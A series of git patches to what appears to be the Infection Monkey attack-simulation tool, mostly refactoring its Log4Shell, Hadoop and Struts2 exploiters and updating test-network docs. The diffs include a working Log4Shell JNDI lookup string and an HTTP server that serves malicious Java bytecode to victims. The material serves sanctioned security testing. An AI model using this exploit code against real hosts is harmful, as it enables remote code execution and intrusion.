"sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5", + "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f" + ], + "version": "==2.9.1" + }, + "pyasn1": { + "hashes": [ + "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", + "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", + "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", + "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", + "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", + "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", + "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", + "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", + "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", + "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", + "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", + "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", + "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" + ], + "version": "==0.4.8" + } + } +} From e3f9312ff9b2db8c7100db89bb1735af5cdad723 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 11:44:47 +0200 Subject: [PATCH 63/87] BB: change log4j exploit depth to 1 (default) This change is necessary to make sure that exploitation is successfull from a particular machine being tested. --- envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py | 1 - envs/monkey_zoo/blackbox/config_templates/log4j_solr.py | 1 - envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py | 1 - 3 files changed, 3 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py index 54c91ccca..9f39a38c7 100644 --- a/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py @@ -11,7 +11,6 @@ class Log4jLogstash(ConfigTemplate): config_values.update( { "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], - "basic_network.scope.depth": 2, "basic_network.scope.subnet_scan_list": ["10.2.3.55", "10.2.3.56"], } ) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py index ad5923b16..77d513e74 100644 --- a/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py @@ -11,7 +11,6 @@ class Log4jSolr(ConfigTemplate): config_values.update( { "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], - "basic_network.scope.depth": 2, "basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"], } ) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py index a2274a256..29a2269a0 100644 --- a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py @@ -11,7 +11,6 @@ class Log4jTomcat(ConfigTemplate): config_values.update( { "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], - "basic_network.scope.depth": 2, "basic_network.scope.subnet_scan_list": ["10.2.3.51", "10.2.3.52"], } ) From 52ac7dd295a7831d729bb07b96084e53a8e4ae6c Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 12:09:30 +0200 Subject: [PATCH 64/87] Agent: fix a bug in web_rce url building build_potential_urls was made static and takes IP as first parameter, but the users of this method wasn't changed and only passed ports --- monkey/infection_monkey/exploit/hadoop.py | 4 ++-- .../exploit/log4shell_utils/ldap_server.py | 5 ----- monkey/infection_monkey/exploit/web_rce.py | 7 +++++-- 3 files changed, 7 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index f221ebe1f..f3fd7d095 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -27,7 +27,7 @@ from infection_monkey.utils.commands import build_monkey_commandline class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] _EXPLOITED_SERVICE = "Hadoop" - HADOOP_PORTS = [["8088", False]] + HADOOP_PORTS = [("8088", False)] # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 # Random string's length that's used for creating unique app name @@ -38,7 +38,7 @@ class HadoopExploiter(WebRCE): def _exploit_host(self): # Try to get exploitable url - urls = self.build_potential_urls(self.HADOOP_PORTS) + urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index 074779f59..f0a4f3e18 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -77,18 +77,14 @@ class LDAPExploitServer: ): """ :param ldap_server_port: The port that the LDAP server will listen on. - :type ldap_server_port: int :param http_server_ip: The IP address of the HTTP server that serves the malicious Log4Shell Java class. - :type http_server_ip: str :param http_server_port: The port the HTTP server is listening on. - :type ldap_server_port: int :param storage_dir: A directory where the LDAP server can safely store files it needs during runtime. - :type storage_dir: Path """ self._reactor_startup_completed = multiprocessing.Event() self._ldap_server_port = ldap_server_port @@ -173,7 +169,6 @@ class LDAPExploitServer: argument is None (the default), the method blocks until the LDAP server terminates. If `timeout` is a positive floating point number, this method blocks for at most `timeout` seconds. - :type timeout: float """ if self._server_process.is_alive(): logger.debug("Stopping LDAP exploit server") diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 2be55ce3e..1396b095d 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -2,6 +2,7 @@ import logging import re from abc import abstractmethod from posixpath import join +from typing import List, Tuple from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 @@ -100,7 +101,9 @@ class WebRCE(HostExploiter): if not ports: return False # Get urls to try to exploit - potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"]) + potential_urls = self.build_potential_urls( + self.host.ip_addr, ports, exploit_config["url_extensions"] + ) self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"]) if not self.are_vulnerable_urls_sufficient(): @@ -220,7 +223,7 @@ class WebRCE(HostExploiter): return False @staticmethod - def build_potential_urls(ip: str, ports, extensions=None): + def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None): """ Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. From 76a32d241c24e587c405c7ae68ca8fab04d5536b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 12:48:56 +0200 Subject: [PATCH 65/87] Agent: log4shell readability and style fixes --- monkey/infection_monkey/exploit/log4shell.py | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index d33b7d0bd..5b78b0a95 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -33,7 +33,7 @@ class Log4ShellExploiter(WebRCE): EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" DOWNLOAD_TIMEOUT = 15 - REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds + REQUEST_TO_VICTIM_TIME = 5 # Max time agent will wait for the response from victim in SECONDS def __init__(self, host: VictimHost): super().__init__(host) @@ -41,7 +41,7 @@ class Log4ShellExploiter(WebRCE): self._ldap_port = get_free_tcp_port() self._class_http_server_ip = get_interface_to_target(self.host.ip_addr) - self.class_http_server_port = get_free_tcp_port() + self._class_http_server_port = get_free_tcp_port() self._ldap_server = None self._exploit_class_http_server = None @@ -71,21 +71,17 @@ class Log4ShellExploiter(WebRCE): def _start_agent_http_server(self, agent_paths: dict) -> str: # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer( + http_path, http_thread = HTTPTools.try_create_locked_transfer( self.host, agent_paths["src_path"] ) self._agent_http_server_thread = http_thread - if not http_path: - logger.debug("Exploiter failed, couldn't start an http server to serve agent.") - raise Exception("Http server creation failed") - logger.info("Started http server on %s", http_path) return http_path def _start_class_http_server(self, command: str): java_class = self._build_java_class(command) self._exploit_class_http_server = ExploitClassHTTPServer( - self._class_http_server_ip, self.class_http_server_port, java_class + self._class_http_server_ip, self._class_http_server_port, java_class ) # Setting `daemon=True` to save ourselves some trouble when this is merged to the # agent-refactor branch. @@ -100,7 +96,7 @@ class Log4ShellExploiter(WebRCE): self._ldap_server = LDAPExploitServer( ldap_server_port=self._ldap_port, http_server_ip=self._class_http_server_ip, - http_server_port=self.class_http_server_port, + http_server_port=self._class_http_server_port, storage_dir=get_monkey_dir_path(), ) From 03919c3cafb4b94780648fef0f821f8cb58fe1ab Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 14:29:57 +0200 Subject: [PATCH 66/87] Agent: fix struts2 url building --- monkey/infection_monkey/exploit/struts2.py | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 8bf2c788b..4f6d4f1fd 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -10,6 +10,7 @@ import ssl import urllib.error import urllib.parse import urllib.request +from typing import List, Tuple from infection_monkey.exploit.web_rce import WebRCE @@ -30,17 +31,10 @@ class Struts2Exploiter(WebRCE): exploit_config["dropper"] = True return exploit_config - def build_potential_urls(self, ports, extensions=None): - """ - We need to override this method to get redirected url's - :param ports: Array of ports. One port is described as size 2 array: [port.no(int), - isHTTPS?(bool)] - Eg. ports: [[80, False], [443, True]] - :param extensions: What subdirectories to scan. www.domain.com[/extension] - :return: Array of url's to try and attack - """ - url_list = WebRCE.build_potential_urls(self.host.ip_addr, ports) - url_list = [self.get_redirected(url) for url in url_list] + @staticmethod + def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None): + url_list = WebRCE.build_potential_urls(ip, ports) + url_list = [Struts2Exploiter.get_redirected(url) for url in url_list] return url_list @staticmethod From a5a4957c29c5dea25416d50670cbc15ad9dae0ab Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 15:01:47 +0200 Subject: [PATCH 67/87] Agent: small readability and style improvements --- monkey/infection_monkey/exploit/log4shell.py | 7 ++----- monkey/infection_monkey/exploit/struts2.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 6 ++++-- vulture_allowlist.py | 3 --- 4 files changed, 7 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 5b78b0a95..2eada8a0d 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -104,11 +104,9 @@ class Log4ShellExploiter(WebRCE): def _stop_servers(self): logger.debug("Stopping all LDAP and HTTP Servers") - self._agent_http_server_thread.stop() - self._agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._agent_http_server_thread.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self._exploit_class_http_server.stop() - self._exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._exploit_class_http_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) self._ldap_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) @@ -116,7 +114,6 @@ class Log4ShellExploiter(WebRCE): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" - # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command def _build_command(self, path, http_path) -> str: # Build command to execute monkey_cmd = build_monkey_commandline( diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 4f6d4f1fd..5efb7a64d 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -32,7 +32,7 @@ class Struts2Exploiter(WebRCE): return exploit_config @staticmethod - def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None): + def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]: url_list = WebRCE.build_potential_urls(ip, ports) url_list = [Struts2Exploiter.get_redirected(url) for url in url_list] return url_list diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 1396b095d..715a94b1c 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -159,7 +159,9 @@ class WebRCE(HostExploiter): raise NotImplementedError() @staticmethod - def get_open_service_ports(victim_host: VictimHost, port_list, names): # noqa: F821 + def get_open_service_ports( + victim_host: VictimHost, port_list: List[Tuple[str, bool]], names: List[str] + ): # noqa: F821 """ :param victim_host: VictimHost object that exploiter is targeting :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS @@ -223,7 +225,7 @@ class WebRCE(HostExploiter): return False @staticmethod - def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None): + def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]: """ Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. diff --git a/vulture_allowlist.py b/vulture_allowlist.py index b8509e6b8..bb89a7eb7 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -5,9 +5,6 @@ Vulture doesn't mark these as dead again. """ from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from monkey_island.cc.models import Report -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( - ExploiterDescriptorEnum, -) fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) From 212fb3a65393bb1548a2811820073bc303da5755 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 18 Jan 2022 15:23:59 +0200 Subject: [PATCH 68/87] BB: black format config_generation_script.py --- envs/monkey_zoo/blackbox/utils/config_generation_script.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 27387ed8d..305d71658 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -58,7 +58,7 @@ CONFIG_TEMPLATES = [ Drupal, Log4jLogstash, Log4jTomcat, - Log4jSolr + Log4jSolr, ] From 63085273a97f671c78cdcb0b76c9d13d1360c1ed Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 18 Jan 2022 08:54:02 -0500 Subject: [PATCH 69/87] Agent: Encapsulate parallelism in ExploitClassHTTPServer --- monkey/infection_monkey/exploit/log4shell.py | 12 +------- .../exploit_class_http_server.py | 28 +++++++++++++++---- .../exploit/log4shell_utils/ldap_server.py | 2 +- .../test_exploit_class_http_server.py | 6 +--- 4 files changed, 26 insertions(+), 22 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 2eada8a0d..48d331aaa 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,5 +1,4 @@ import logging -from threading import Thread from time import sleep from common.utils.exploit_enum import ExploitType @@ -45,7 +44,6 @@ class Log4ShellExploiter(WebRCE): self._ldap_server = None self._exploit_class_http_server = None - self._exploit_class_http_server_thread = None self._agent_http_server_thread = None def _exploit_host(self): @@ -83,14 +81,7 @@ class Log4ShellExploiter(WebRCE): self._exploit_class_http_server = ExploitClassHTTPServer( self._class_http_server_ip, self._class_http_server_port, java_class ) - # Setting `daemon=True` to save ourselves some trouble when this is merged to the - # agent-refactor branch. - # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` - # constructor directly after merging to the agent-refactor branch. - self._exploit_class_http_server_thread = Thread( - target=self._exploit_class_http_server.run, daemon=True - ) - self._exploit_class_http_server_thread.start() + self._exploit_class_http_server.run() def _start_ldap_server(self): self._ldap_server = LDAPExploitServer( @@ -99,7 +90,6 @@ class Log4ShellExploiter(WebRCE): http_server_port=self._class_http_server_port, storage_dir=get_monkey_dir_path(), ) - self._ldap_server.run() def _stop_servers(self): diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index c10a70d2e..c93f910e6 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -38,6 +38,13 @@ class ExploitClassHTTPServer: self._initialize_http_handler(java_class) self._server = http.server.HTTPServer((ip, port), HTTPHandler) + # Setting `daemon=True` to save ourselves some trouble when this is merged to the + # agent-refactor branch. + # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` + # constructor directly after merging to the agent-refactor branch. + self._server_thread = threading.Thread( + target=self._server.serve_forever, args=(self._poll_interval,), daemon=True + ) def _initialize_http_handler(self, java_class: bytes): HTTPHandler.java_class = java_class @@ -47,12 +54,23 @@ class ExploitClassHTTPServer: logger.info("Starting ExploitClassHTTPServer") self._class_downloaded.clear() - self._server.serve_forever(self._poll_interval) - logger.debug("The Java Exploit class HTTP server has stopped") + # NOTE: Unlike in LDAPExploitServer, we theoretically don't need to worry about a race + # between when `serve_forever()` is ready to handle requests and when the victim machine + # sends its requests. See + # https://stackoverflow.com/questions/22606480/how-can-i-test-if-python-http-server-httpserver-is-serving-forever + # for more information. + self._server_thread.start() - def stop(self): - logger.debug("Stopping the Java Exploit class HTTP server") - self._server.shutdown() + def stop(self, timeout: float = None): + if self._server_thread.is_alive(): + logger.debug("Stopping the Java Exploit class HTTP server") + self._server.shutdown() + self._server_thread.join(timeout) + + if self._server_thread.is_alive(): + logger.warning("Timed out while waiting for The HTTP exploit server to stop") + else: + logger.debug("The Java Exploit class HTTP server has stopped") def exploit_class_downloaded(self) -> bool: return self._class_downloaded.is_set() diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index f0a4f3e18..0b29fd4cf 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -179,6 +179,6 @@ class LDAPExploitServer: self._server_process.join(timeout) if self._server_process.is_alive(): - logger.warning("Timed out while waiting for the LDAP exploit server to stop.") + logger.warning("Timed out while waiting for the LDAP exploit server to stop") else: logger.debug("Successfully stopped the LDAP exploit server") diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py index d111ef825..b22ef41da 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py @@ -1,5 +1,3 @@ -import threading - import pytest import requests @@ -25,13 +23,11 @@ def java_class(): @pytest.fixture def server(ip, port, java_class): server = ExploitClassHTTPServer(ip, port, java_class, 0.01) - server_thread = threading.Thread(target=server.run) - server_thread.start() + server.run() yield server server.stop() - server_thread.join() @pytest.fixture From 1840dd54cace00b79954a2aa8f586f8b803cedf0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 18 Jan 2022 12:33:06 -0500 Subject: [PATCH 70/87] Agent: Add class documentation to ExploitClassHTTPServer --- .../exploit_class_http_server.py | 38 ++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index c93f910e6..9b82de1d6 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -7,6 +7,9 @@ logger = logging.getLogger(__name__) HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 +# If we need to run multiple HTTP servers in parallel, we'll need to either: +# 1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable +# 2. Create a metaclass and define the handler class dymanically at runtime class HTTPHandler(http.server.BaseHTTPRequestHandler): java_class: bytes @@ -29,7 +32,21 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): class ExploitClassHTTPServer: + """ + An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server + limits the number of requests to one. That is, after one victim has downloaded the java + bytecode, the server will respond with a 429 error to all future requests. + + Note: There can only be one instance of this class at a time due to the way it is implemented. + """ + def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5): + """ + :param ip: The IP address that the server will bind to + :param port: The port that the server will listen on + :param java_class: The compiled Java bytecode that the server will serve + :param poll_interval: Poll for shutdown every `poll_interval` seconds, defaults to 0.5. + """ logger.debug(f"The Java Exploit class will be served at {ip}:{port}") self._class_downloaded = threading.Event() @@ -51,17 +68,29 @@ class ExploitClassHTTPServer: HTTPHandler.class_downloaded = self._class_downloaded def run(self): + """ + Runs the HTTP server in the background and blocks until the server has started. + """ logger.info("Starting ExploitClassHTTPServer") self._class_downloaded.clear() # NOTE: Unlike in LDAPExploitServer, we theoretically don't need to worry about a race # between when `serve_forever()` is ready to handle requests and when the victim machine - # sends its requests. See + # sends its requests. This could change if we switch from multithreading to multiprocessing. + # See # https://stackoverflow.com/questions/22606480/how-can-i-test-if-python-http-server-httpserver-is-serving-forever # for more information. self._server_thread.start() def stop(self, timeout: float = None): + """ + Stops the HTTP server. + + :param timeout: A floating point number of seconds to wait for the server to stop. If this + argument is None (the default), the method blocks until the HTTP server + terminates. If `timeout` is a positive floating point number, this method + blocks for at most `timeout` seconds. + """ if self._server_thread.is_alive(): logger.debug("Stopping the Java Exploit class HTTP server") self._server.shutdown() @@ -73,4 +102,11 @@ class ExploitClassHTTPServer: logger.debug("The Java Exploit class HTTP server has stopped") def exploit_class_downloaded(self) -> bool: + """ + Returns whether or not a victim has downloaded the Java bytecode from the server. + + :return: True if the victim has downloaded the Java bytecode from the server. False + otherwise. + :rtype: bool + """ return self._class_downloaded.is_set() From 76d6071f7c175b6526a34e56018a1b175aab1888 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 19 Jan 2022 15:09:03 +0200 Subject: [PATCH 71/87] Island: add cve link to log4shell report --- .../report-components/security/issues/Log4ShellIssue.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js index 4c1bffb39..d76b3131f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js @@ -14,7 +14,8 @@ export function log4shellIssueReport(issue) { className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}:{issue.port}) is vulnerable to the Log4Shell remote code execution attack.
    - The attack was made possible due to an old version of Apache Log4j component. + The attack was made possible due to an old version of Apache Log4j component. CVE-2021-44228 ); From d0e26f770f6281e4ff564ed7871ab484dd4034d0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 19 Jan 2022 15:14:18 -0500 Subject: [PATCH 72/87] Agent: Add lock to HTTPHandler.do_GET() to avoid potential race --- .../exploit_class_http_server.py | 28 +++++++++++-------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 9b82de1d6..6b956529b 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -14,15 +14,25 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): java_class: bytes class_downloaded: threading.Event + download_lock: threading.Lock + + @classmethod + def initialize(cls, java_class: bytes, class_downloaded: threading.Event): + cls.java_class = java_class + cls.class_downloaded = class_downloaded + cls.download_lock = threading.Lock() def do_GET(self): - if HTTPHandler.class_downloaded.is_set(): - self.send_error( - HTTP_TOO_MANY_REQUESTS_ERROR_CODE, "Java exploit class has already been downloaded" - ) - return + with HTTPHandler.download_lock: + if HTTPHandler.class_downloaded.is_set(): + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, + "Java exploit class has already been downloaded", + ) + return + + HTTPHandler.class_downloaded.set() - HTTPHandler.class_downloaded.set() logger.info("Java class servergot a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") @@ -52,7 +62,7 @@ class ExploitClassHTTPServer: self._class_downloaded = threading.Event() self._poll_interval = poll_interval - self._initialize_http_handler(java_class) + HTTPHandler.initialize(java_class, self._class_downloaded) self._server = http.server.HTTPServer((ip, port), HTTPHandler) # Setting `daemon=True` to save ourselves some trouble when this is merged to the @@ -63,10 +73,6 @@ class ExploitClassHTTPServer: target=self._server.serve_forever, args=(self._poll_interval,), daemon=True ) - def _initialize_http_handler(self, java_class: bytes): - HTTPHandler.java_class = java_class - HTTPHandler.class_downloaded = self._class_downloaded - def run(self): """ Runs the HTTP server in the background and blocks until the server has started. From ce8c1782976595bd87e2d2f156484f8d5c559a06 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 20 Jan 2022 17:24:11 +0530 Subject: [PATCH 73/87] BB: Add Log4Shell zoo machines to table of contents, grammar fixes --- envs/monkey_zoo/docs/fullDocs.md | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 01328eb03..a9ed488ba 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -39,8 +39,10 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 3-50 Log4j Solr](#_Toc536021484)
    [Nr. 3-51 Log4j Tomcat](#_Toc536021485)
    [Nr. 3-52 Log4j Tomcat](#_Toc536021486)
    -[Nr. 250 MonkeyIsland](#_Toc536021487)
    -[Nr. 251 MonkeyIsland](#_Toc536021488)
    +[Nr. 3-55 Log4j Logstash](#_Toc536021487)
    +[Nr. 3-56 Log4j Logstash](#_Toc536021488)
    +[Nr. 250 MonkeyIsland](#_Toc536021489)
    +[Nr. 251 MonkeyIsland](#_Toc536021490)
    [Network topography](#network-topography)
    # Warning\! @@ -505,7 +507,7 @@ Update all requirements using deployment script:
    - +
    Notes:Accessible only trough Nr.9Accessible only through Nr.9
    @@ -541,7 +543,7 @@ Update all requirements using deployment script:
    Notes: -Accessible only trough Nr.10 +Accessible only through Nr.10 @@ -573,7 +575,7 @@ Update all requirements using deployment script:
    Notes: -Accessible only trough Nr.10 +Accessible only through Nr.10 @@ -1289,7 +1291,7 @@ Update all requirements using deployment script:
    - @@ -1317,7 +1319,7 @@ Update all requirements using deployment script:

    Nr. 3-52 Log4j-tomcat

    +

    Nr. 3-52 Log4j Tomcat

    (10.2.3.52)

    (Vulnerable)
    - @@ -1347,7 +1349,7 @@ Update all requirements using deployment script:

    Nr. 3-55 Log4j Logstash

    +

    Nr. 3-55 Log4j Logstash

    (10.2.3.55)

    (Vulnerable)
    - @@ -1377,7 +1379,7 @@ Update all requirements using deployment script:

    Nr. 3-56 Log4j-logstash

    +

    Nr. 3-56 Log4j Logstash

    (10.2.3.56)

    (Vulnerable)
    - @@ -1401,7 +1403,7 @@ Update all requirements using deployment script:
    - +

    Nr. 250 MonkeyIsland

    +

    Nr. 250 MonkeyIsland

    (10.2.2.250)

    Notes:Only accessible trough GCPOnly accessible through GCP
    @@ -1409,7 +1411,7 @@ Update all requirements using deployment script:
    - @@ -1433,7 +1435,7 @@ Update all requirements using deployment script:
    - +

    Nr. 251 MonkeyIsland

    +

    Nr. 251 MonkeyIsland

    (10.2.2.251)

    Notes:Only accessible trough GCPOnly accessible through GCP
